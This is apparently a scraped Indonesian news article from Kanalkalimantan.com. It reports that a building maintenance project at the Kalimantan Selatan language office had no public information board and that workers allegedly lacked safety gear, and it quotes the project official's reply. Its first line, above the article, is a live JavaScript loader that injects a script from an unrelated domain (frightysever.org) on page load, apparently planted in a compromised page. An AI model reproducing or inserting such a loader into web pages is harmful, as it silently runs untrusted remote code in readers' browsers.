(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Proyek Pemeliharaan Gedung Tanpa Papan Informasi, Diduga Abai APD dan K3


KANALKALIMANTAN.COM, BANJARBARU – Sebuah proyek pemeliharaan fisik gedung kantor di lingkungan Balai Bahasa Provinsi Kalimantan Selatan (Kalsel) menjadi sorotan.

Bukan soal nilai anggaran atau waktu pekerjaan, melainkan ketiadaan hal informatif, yakni informasi publik berupa informasi papan proyek lazimnya sebuah lokasi proyek pemerintah yang dibiayai anggaran negara.

Menurut Undang-Undang Keterbukaan Informasi Publik (KIP) nomor 14 tahun 2008 serta Perpres nomor 54 tahun 2010 dan nomor 70 tahun 2012, mengatur setiap pekerjaan bangunan fisik yang dibiayai oleh negara, wajib memasang papan nama proyek, yang memuat jenis dan lokasi kegiatan, nomor kontrak, waktu pelaksanaan, serta jangka waktu dan lama pelaksanaan.

Baca juga: Pemkab Kapuas Dukung Operasi Zebra Telabang 2025

Penelusuran Kanalkalimantan, selain ketiadaan papan informasi nama proyek, saat pekerjaan diduga abai dalam penerapan Keselamatan dan Kesehatan Kerja (K3).

Informasi yang diperoleh selama proyek berlangsung sebagian pekerja tidak menggunakan Alat Pelindung Diri (APD) sesuai ketentuan K3, seperti helm, rompi kerja, sepatu pelindung. Padahal, penerapan K3 merupakan kewajiban untuk melindungi tenaga kerja dari risiko kecelakaan, penyakit akibat kerja, dan kerugian material.

Berdasarkan ketentuan, setiap kegiatan pembangunan wajib mencantumkan informasi tentang nama proyek, nilai kontrak, sumber anggaran, waktu pelaksanaan, dan nama pelaksana pekerjaan. Papan nama tersebut berfungsi untuk menjamin transparansi kepada publik dan memudahkan pengawasan.

Sejumlah sumber di lapangan menduga, tidak dipasangnya papan nama menghambat masyarakat mengetahui masa kontrak proyek, terutama di akhir tahun anggaran. Kondisi ini berpotensi menimbulkan kesalahpahaman terkait durasi pekerjaan dan tanggung jawab penyelesaian proyek.

Baca juga: Awaludin Apresiasi Pencapaian Kontingan Kotabaru di Porprov Kalsel 2025

Temuan itu berdasarkan hasil cek lapangan Kanalkalimantan, kemudian melakukan konfirmasi dan klarifikasi kepada PPK (Pejabat Pembuat Komitmen) kegiatan proyek pemeliharaan gedung Balai Bahasa Provinsi Kalsel bersumber APBN 2025.

Mangara Siagian, PPK kegiatan pemeliharaan gedung Balai Bahasa Provinsi Kalsel kepada Kanalkalimantan memastikan, pekerjaan pemeliharaan gedung Balai Bahasa Provinsi Kalsel sudah selesai dalam waktu kontrak kerja yang ditentukan.

“Ada dua paket pekerjaan. Paket 1 senilai Rp131.900.000, kontrak waktu 2 Juni – 17 Juli 2025. Item pekerjan tangga, penggantian pagar tangga samping dan muka, serta peremajaan toilet di Gedung B,” jelas ASN di Balai Bahasa Kalsel ini, ditemui Kanalkalimantan.com, Senin (17/11/2025).

Kemudian Paket 2 dengan nilai Rp42.800.000, dengan item pekerjaan pemasangan lantai keramik tangga, dengan waktu kontrak 10 Oktober – 29 oktober 2025.

Baca juga: Persiapan Pengembangan Kawasan Olahraga Terpadu, Dinas PUPR Kalsel Studi Tiru ke Jakarta International Stadium

“Semua item pekerjaan sudah selesai dikerjakan, tidak ada pekerjaan yang diluar waktu kontrak seperti yang dituduhkan atau diduga selama ini,” tegas Mangara Siagian.

Saat ditanya informasi terkait papan proyek pekerjaan, PPK di Balai Bahasa Provinsi Kalsel mengatakan, tidak ada kewajiban papan proyek, karena semua informasi sudah tersedia dan terbuka di portal SPSE. “Jadi semua proses awal sampai akhir pekerjaan sudah kami laporkan secara online atau digital, dan itu bisa dicek semua pihak. Tidak perlu (Maksudnya papan informasi proyek) karena sudah berbasis digital,” katanya.

Terkait para pekerja yang tidak dilengkapi APD (Alat Pelindung Diri), papan informasi dan rambu K3 (Keselamatan dan Kesehatan Kerja), Mangara Siagian memastikan untuk APD dan rambu-rambu K3 semua menjadi tanggung jawab pihak penyedia. “Tanggung jawab penyedia, kami percayakan ke penyedia,” tegasnya. (Kanalkalimantan.com/bie)

Reporter: bie
Editor: kk


Risa

Recent Posts

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

8 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

10 jam ago

Arti Warna Merah dalam Tradisi Imlek

KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More

14 jam ago

Ini Makna di Balik Shio Kuda Api Imlek 2026

KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More

18 jam ago

Malam Imlek Penuh Khidmat di Klenteng Karta Raharja Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More

19 jam ago

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

2 hari ago

This website uses cookies.